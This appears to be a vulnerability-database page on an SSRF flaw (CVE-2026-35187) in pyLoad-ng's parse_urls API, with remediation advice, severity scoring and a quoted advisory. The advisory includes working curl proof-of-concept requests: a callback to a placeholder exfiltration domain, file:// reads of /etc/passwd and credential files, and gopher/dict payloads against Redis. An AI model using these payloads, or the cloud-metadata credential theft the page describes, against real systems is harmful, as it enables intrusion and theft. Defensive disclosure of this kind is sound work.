Skip to main content

Python CVE-2026-35187

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-04 https://github.com/pyload/pyload GHSA-2wvg-62qm-gj33
7.7
CVSS 3.1 · Vendor: https://github.com/pyload/pyload
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as user with ADD permission
  2. Exploit
    Call parse_urls API with file:// URL
  3. Execution
    Server fetches local file via pycurl
  4. Impact
    Read sensitive files from server filesystem

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authenticated user with ADD permission in pyLoad can exploit the parse_urls API function in src/pyload/core/api/__init__.py (line 556) to perform SSRF attacks. Attacker can fetch arbitrary URLs via HTTP/HTTPS, file://, gopher://, and dict:// protocols without validation, reading local files and accessing internal services.

Impact

Real-world risk is HIGH despite requiring authenticated access with ADD permissions. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates network-based attacks with low complexity and scope change, meaning authenticated users can reach resources beyond their normal authorization boundary. The Changed scope combined with high confidentiality impact (C:H) accurately reflects the ability to read files and access services outside the application's intended domain. Cloud deployments face elevated risk as attackers can retrieve IAM credentials from metadata endpoints (AWS 169.254.169.254, GCP metadata server), potentially pivoting to full cloud infrastructure compromise. Docker environments are explicitly confirmed vulnerable per proof-of-concept against linuxserver/pyload-ng. The multi-protocol capability (file://, gopher://, dict://) significantly increases exploitability compared to HTTP-only SSRF, enabling Redis command injection, SMTP relay abuse, and direct database access. While authentication is required (PR:L), many pyLoad installations grant ADD permissions to regular users for legitimate download functionality, reducing the barrier to exploitation. The file existence oracle enables reconnaissance even when direct content extraction fails. No EPSS score or KEV status provided in input data, but the detailed technical advisory with working proof-of-concept increases likelihood of real-world exploitation.

Exploit ScenarioDerived

An authenticated attacker with ADD permissions logs into a cloud-hosted pyLoad-ng instance and extracts the CSRF token from their session. They submit a malicious parse_urls API request with url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ to retrieve AWS IAM role credentials from the metadata endpoint. The server-side pycurl request succeeds, returning temporary AWS access keys that the attacker extracts from the response. Using these credentials, the attacker pivots to the organization's AWS infrastructure, accessing S3 buckets and EC2 instances. In a secondary attack, the attacker uses file:///config/data/pyload.db to read the SQLite database containing user credentials and download history, then leverages gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/tmp to exploit an internal Redis instance for remote code execution. Publicly available exploit code exists in the form of detailed curl-based proof-of-concept commands in the GitHub advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 04, 2026

Server-Side Request Forgery in pyLoad-ng allows authenticated users with ADD permissions to read local files via file:// protocol, access internal network services, and exfiltrate cloud metadata. The parse_urls API endpoint fetches arbitrary URLs without protocol validation, enabling attackers to read /etc/passwd, configuration files, SQLite databases, and AWS/GCP metadata endpoints at 169.254.169.254. Error-based responses create a file existence oracle. Multi-protocol support (file://, gopher://, dict://) escalates impact beyond standard HTTP SSRF. CVSS 7.7 reflects network attack vector, low complexity, and scope change with high confidentiality impact. No public exploit code identified at time of analysis, though detailed proof-of-concept included in advisory demonstrates exploitation via curl commands against Docker deployments.

RemediationAI

Apply vendor-released patch from the pyLoad project repository at https://github.com/pyload/pyload per security advisory GHSA-2wvg-62qm-gj33 available at https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33. The advisory includes a proposed fix implementing URL validation via _is_safe_url() function that restricts protocols to HTTP/HTTPS only and blocks private IP ranges (RFC1918), loopback addresses, link-local, and reserved ranges using Python's ipaddress module. Until patching, implement network-level controls to restrict outbound connections from pyLoad containers/servers, blocking access to metadata endpoints (169.254.169.254) and internal RFC1918 ranges via firewall rules. Review user permissions to limit ADD capability to trusted administrators only. For Docker deployments, update to patched linuxserver/pyload-ng image versions when available. Monitor server-side request logs for suspicious file://, gopher://, or dict:// protocol usage and requests to internal IP ranges.

Affected Packages

pypi pyload-ng no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PyLoad-ng is a Python-based download manager (distributed as pkg:pip/pyload-ng) that uses pycurl for HTTP operations. The vulnerability exists in src/pyload/core/api/__init__.py line 556, where the parse_urls function directly passes user-supplied URLs to get_url() without validation. PycURL's default configuration supports multiple protocols beyond HTTP/HTTPS, including file:// for local filesystem access, gopher:// for TCP stream manipulation, and dict:// for dictionary server queries. CWE-918 (Server-Side Request Forgery) occurs when applications fetch remote resources based on user input without validating destination addresses or allowed protocols. The lack of IP address filtering (private ranges, loopback, link-local) and protocol whitelisting allows attackers to bypass network segmentation. The function's error handling creates an oracle pattern where successful file reads return empty responses while nonexistent paths trigger pycurl error 37, enabling file enumeration without reading content directly.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/pyload/pyload) PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/pyload/pyload) · only source for this CVE.

CVSS VectorVendor: https://github.com/pyload/pyload

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)
# NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

bash
CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

bash
curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

bash
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable:

  • /etc/passwd, /etc/hosts
  • /proc/self/environ (process environment variables)
  • /config/settings/pyload.cfg (pyLoad configuration)
  • /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

bash
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

bash
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

python
from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))

Executive ViewAI

Why It Matters

pyLoad-ng contains a server-side request forgery vulnerability allowing authenticated users with ADD permissions to read sensitive local files, access internal network services, and exfiltrate cloud metadata credentials. Organizations using pyLoad-ng face immediate risk of unauthorized data exposure including configuration files, databases, and cloud infrastructure credentials if users with ADD permissions are present or if access controls are inadequately segregated.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict ADD permission grants to only trusted administrative accounts; (2) Implement network-level controls blocking access to 169.254.169.254 and internal service ports from pyLoad-ng process; (3) Disable file:// and gopher:// protocol support in pyLoad-ng configuration if available; (4) Monitor parse_urls API endpoint for suspicious requests; (5) Isolate pyLoad-ng instances on dedicated network segments without access to sensitive internal systems or cloud metadata endpoints.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)CVE.org

pkg:pip/pyload-ng

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy